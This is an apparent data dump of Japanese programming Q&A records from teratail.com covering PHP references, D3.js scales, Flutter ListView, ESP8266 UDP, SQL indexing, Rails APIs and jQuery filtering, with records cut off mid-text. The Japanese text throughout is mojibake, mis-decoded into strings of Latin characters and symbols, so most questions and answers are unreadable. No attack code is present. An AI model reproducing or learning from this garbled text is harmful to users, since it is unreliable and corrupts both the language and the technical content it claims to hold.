$hoge = &$thing;Â
```
| PHPã® =& æŒç®åã«ã€ããŠ
===============
| teratail.com | 2020.05 | [
{
"text": "ã¯ãïŒ\n \n\n \n**ã©ã¡ããåããã®ã§ãPHPã¹ããŒãã¡ã³ãã®æ©èœãåäžã§ãã**\n \nããã¯ããªããžã§ã¯ãã®ãåããã®ã§ããã®å Žåã倿°Â $hoge äžããåç
§ããŠããŸãã \n",
"name": "",
"is_accepted": true
}
] |
0b51f61720a0fd1680cf9f6bd6080de0 |
D3.jsã§ãæ£ã°ã©ããäœã£ãŠããŸãã
äžããdomainãäžéåç«¯ãªæ°åãªã®ã§javascriptã®mathãªããžã§ã¯ãã䜿ã£ãŠ
åãæšãŠãããšæã£ãŠããã®ã§ããããã£ãšããæ¹æ³ã¯ãããŸãããïŒ
| D3.jsã§äžéå端ãªå€ã®ãã¡ã€ã³ã®åãæšãŠæ¹æ³
========================
| teratail.com | 2021.21 | [
{
"text": "**nice颿°ããããšæããŸãã**\n \n\n \n\n```\nvar scale = d3.scale.linear().domain([0.123,100.567]).nice().range([0,200]);\n```\n\n \nãšãã£ããæžããŸãã \n",
"name": "",
"is_accepted": true
}
] |
67b2caf4521f545a1a18b2a8b49a3d03 |
Flutterã®å匷ã§ã人ç©äžèЧã¿ãããªã®ããããããã«ãŒãã§æšªã¹ã©ã€ãã§è¡šç€ºããããã§ãã
ListViewã§ãscrollDirection: Axis.horizontalãã䜿ã£ãŠãã«ãŒãéãæšªã«ã¹ã¯ããŒã«ãããã€ã¡ãŒãžã§ãã
ããããCardãŠã£ãžã§ããã衚瀺ããããåå ãããããå°ã£ãŠããŸãã
åèã¯ä»¥äžã®èšäºã§ãã
https://www.flutter-study.dev/widgets/list-view-widget
ãããå¿çšããŠãCardãšçµã¿åãããŠã暪ã¹ã¯ããŒã«ãå®éšããŠã¿ãŸããã
âŒmain.dart
```
import 'package:flutter/... | Flutterã®ListViewã§CardãŠã£ãžã§ããã衚瀺ãããªã
==================================
| teratail.com | 2020.45 | [
{
"text": "ãããããæšªã¹ã¯ããŒã«ãªã®ã«`ListView`å
ã®èŠçŽ ã«å¹
ãæå®ãããŠããªãã®ãåå ã§ã¯ãªãã§ãããã? \n\n以äžã®ããã«ãèŠçŽ ã«é©åœãªå¹
ãæå®ããŠè©ŠããŠã¿ãŠãã ããã \n\n\n\n```\nclass ListViewHorizonCast extends StatelessWidget {\n final List<Map<String, dynamic>> listItems = [\n {\n 'text': 'Item 1',\n 'color': Colors.blue[600],\n },\n {\n 'text': '... |
3e5f88164676599f105ab2b202bf8efd |
ESP-wroom-02(ESP8266)2å°ã䜿ã£ãŠã«ãŒã¿ãŒçµç±ã§WiFiUDPéä¿¡ãããããšããŠããŸãã Â
ïŒå°æ¥çã«ããããããšãšããŠã¯ãç¡ç·ã§PCããæ°ã¡ãŒãã«å
ã«ããã»ã³ãµããã»ã³ãµå€ãååŸãããã®å€ã«å¿ããŠPCã§åŠçãè¡ã£ãåŸããŸãä»ã®ç¡ç·ã§æ¥ç¶ããããªããžã§ã¯ãã®ã¢ãŒã¿ãŒãåããããšæã£ãŠããŸããïŒÂ Â
ãã¡ãã®[ãªã³ã¯](http://tc96.hatenablog.com/entry/2016/09/14/130932)ãã³ããïŒäžã®ã³ãŒãïŒã§åãããæããã¿ã³å
¥åããclientåŽã§UDP.writeãæ£ããè¡ãããŠããããšã¯ç¢ºèªã§ããŸãããããããServeråŽã§é©å®printããŠãããã°ãããš... | ESP-wroom-02éã§ã«ãŒã¿ãŒãä»ããUDPéä¿¡ã«å€±æãã
================================
| teratail.com | 2021.25 | [
{
"text": "ãµãŒããŒåŽã³ãŒããAPã¢ãŒãã«ãªã£ãŠãŸããã \n\nãµãŒããŒãã¢ã¯ã»ã¹ãã€ã³ããšããŠåããŠãããªãã«ãŒã¿ãŒãããªããªãã§ããïŒ \n\n\nã³ããå
ã®ãããã¯ãŒã¯æ§æã¯ãã¢ã¯ã»ã¹ãã€ã³ãã§ãããµãŒããŒã«ã¯ã©ã€ã¢ã³ããçŽæ¥æ¥ç¶ãã圢ã§ãã \n\n\nãã®ãããåéãããŠã«ãŒã¿ãŒã®ssidãšãã¹ãã³ãŒãã«æžããŠããããŸãããïŒ \n\n\nã«ãŒã¿ãŒä»ããããªãã©ã¡ããSTAã¢ãŒãã§ãã\n\n",
"name": "",
"is_accepted": false
},
{
"text": "ãªããåé¡ã®å€ãããªã³ãŒãã§ãããã \n\n\nIPã¢ãã¬ã¹ãªããããª... |
f79cdb1f683539516f47d8f3099621d5 |
ããããããš
------
äžèšããŒãã«ããååã®
`sum(sales_products.quantity)(æ³šææ°åèš)`ã
`categories.taxonomy_id(ã«ããŽãªãŒåé¡IDïŒ`ã
`sales.office_id AS office_idïŒè²©å£²äºæ¥æIDïŒ`
ã
`categories.taxonomy_idïŒã«ããŽãªãŒåé¡ïŒ`ã
`sales.office_id AS office_idïŒè²©å£²äºæ¥æIDïŒ`
ã§ã°ã«ãŒãåããŠååŸãããã
å°ã£ãŠããããš
-------
salesããŒãã«Â => `orderããŒãã«`, `event_salesããŒã... | PHPã§ããŒã¿ããŒã¹ããããŒã¿ãååŸããéããšãŠãæéãããã£ãŠããŸãã®ãæ¹åããã
==========================================
| teratail.com | 2021.04 | [
{
"text": "sales ã®Â shop\\_id, office\\_id \n\nsales\\_products ã®Â sales\\_idãproduct\\_id \n\nproducts ã®ãcategory\\_id \n\ncategories ã®Â taxonomy\\_id \n\n\nã«ããããã€ã³ããã¯ã¹ãèšå®ããã\n\n",
"name": "",
"is_accepted": true
},
{
"text": "JOINããŠããæ³šææ¥ã§çµã蟌ãã§ããã®ã§ããã®æç¹ã§çµã¿åãããèšå€§ã«ãªã£ãŠããæ°ãããã®ã§ \n\nå
ã«æ³šææ¥ã§çµã蟌ãã ord... |
ba1bcb48a39aedcbb012c08b0e708ccc |
PHPãã¡ã€ã«ã«<p class="text">hello</p>ãšèšè¿°ãããããå¥PHPã§åŒã³åºãã
```
<head>
<link rel="stylesheet" type="text/css" href="header.css" media="all">
</head>
<body>
<?php echo $sa; ?> //sa = <p class="text">hello</p>
</body>
```
ãšããŠ
```
ïœ{
background: rgba(0,0,0,0.75);
}
```
ãé©å¿ãããŠãããã§ãããããŸãé©å¿ãããŸãããåŒã³åºããPHPã... | åŒã³åºããphpãã¡ã€ã«ã®HTMLã¿ã°ã«CSSé©å¿ã§ããªãã®ïŒ
===============================
| teratail.com | 2019.51 | [
{
"text": "èªåã®ç°å¢ã§ãªãã§ãããdivã®äžã«divãå
¥ããå
¥ãåã«ãªã£ãdivã«CSSãé©å¿ãããã°æ²»ããŸããã\n\n",
"name": "",
"is_accepted": true
}
] |
a77cc5de00696bc117be9e0f6897e3bd |
JSPã«æå·åãããŠå±ãããã©ã¡ãŒã¿ãŒãè§£èªãã
ããããããšã«åé¢ããããã®ã§ãããã©ããã§å€±æããŠãããããããã¹ãŠãnullã«ãªããŸãã
â»ç¥äººããããã£ããœãŒã¹ã§ãç¥äººã¯ããããŠãããšããããšã§ãã
â
ãããããããããŒã¿ã®ãã¿ãŒã³ã«ãããäžæãã§ãããã§ããªãã£ããããã®ã§ã¯ïŒãšèããŠããŸãã
åå ãšã察çãæããŠããã ããªãã§ããããïŒ
è§£èªåŸãäžèšã®ããã«ãªã£ãå Žåã
ã  &customer\_id=1232&customer\_name=å±±ç°Â 倪é&birthday=1990-01-01&memo=ããã¯ã'ã&ã=ã"ã\ããªã©ãå
¥ã£ãæå... | JSPã®ãã©ã¡ãŒã¿ãŒãèªåã§åå²ããæ¹æ³ã¯ç¢ºå®ã§å®¹æãªãã®ã¯ã©ã®ãããªæ¹æ³ããããŸããïŒ
============================================
| teratail.com | 2020.10 | [
{
"text": "解決ã§ããªããæéããã£ãã®ã§ãã¯ããŒãºèŽããŸãã\n\n",
"name": "",
"is_accepted": true
}
] |
d0a791ff98424ef9112ae4b5c0294048 |
çŸåšããããäžã®Railså
¥éãµã€ããã
ããã°ã©ãã³ã°èšèªãèšé²ããããŸãšããµãŒãã¹çãã¿ãŠRailsã®åŠç¿ãããŠããŸãã
RailsãåŠç¿ããŠããç®çã¯ãRuby on Railsã䜿ã£ãŠã¹ããŒããã©ã³äžã®ãã€ãã£ãã¢ããªã±ãŒã·ã§ã³ãããµãŒãã®æ
å ±ãååŸãJSONã§åãåºãAPIãäœãããšããŠããŸãã
çŸåšã¹ããŒããã©ã³ã¢ããªã®APIãPHP(Fuel)ã§æžããŠããã®ã§ããã
Ruby on Railsã§æžãæããããšããŠããŸãã
â»Railsã䜿ãçç±ã¯å²æããŸãã
ä»åã®å ŽåãRailsã§äžèšã®ãããªJSONãåãåºãAPIãäœãã«ããã£ãŠã©ã®ãããªåŠç¿ãè¯ãã§ããããïŒ
... | Railsåå¿è
ãã¹ããŒããã©ã³äžã§äœ¿çšããJSON APIãäœãã«ããã£ãŠ
======================================
| teratail.com | 2021.10 | [
{
"text": "APIã®ãµãŒããµã€ããäœããšããã ããªã®ãªãã°ãã©ã€ãã©ãªäœ¿ããšè¯ãæ°ãããŸãã\n \n<https://github.com/intridea/grape>\n \n\n \ngrapeã䜿ããªããŠãããæ¹æ³ã¯è²ã
ãããŸãããããã¥ã¡ã³ããšããŠãŸãšãŸã£ãŠå±
ãã®ã¯grapeé¢ä¿ããšæããŸãã \n",
"name": "",
"is_accepted": false
}
] |
462f546e6bd7d4ae2d8443568b39089e |
### å®çŸãããããš
jsã»jqueryã«ããçµã蟌ã¿ãè¡ãéã«ã
<select>å
ã®option valueã«è€æ°ã®å€ãå
¥ãã
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衚瀺ããããã«ãããã§ãã
### çºçããŠããåé¡ã»ãšã©ãŒã¡ãã»ãŒãž
```
ãšã©ãŒã¯ç¹ã«åºãŠãããŸããã
```
### 該åœã®ãœãŒã¹ã³ãŒã
```
<html lang="ja">
<head>
<title>HTML, CSS and JavaScript demo</title>
<meta name="viewport" content="width=device-width, maximum-scale=1.0,... | option valueã«è€æ°ã®å€ãå
¥ããçµãèŸŒã¿æ€çŽ¢ã§ããããã«ããã
====================================
| teratail.com | 2020.34 | [
{
"text": "\n```\n<script>\n$(function(){\n $('[name=region]').on('change',function(){\n var vals=$(this).val().split(\",\");\n $('.list').hide().filter(function(){\n return $(this).data(\"tiiki\").some(function(x){\n return vals.indexOf(x)>-1;\n });\n }).show();\n }).trigger('change');\n});\n</script>\n\n<div ... |
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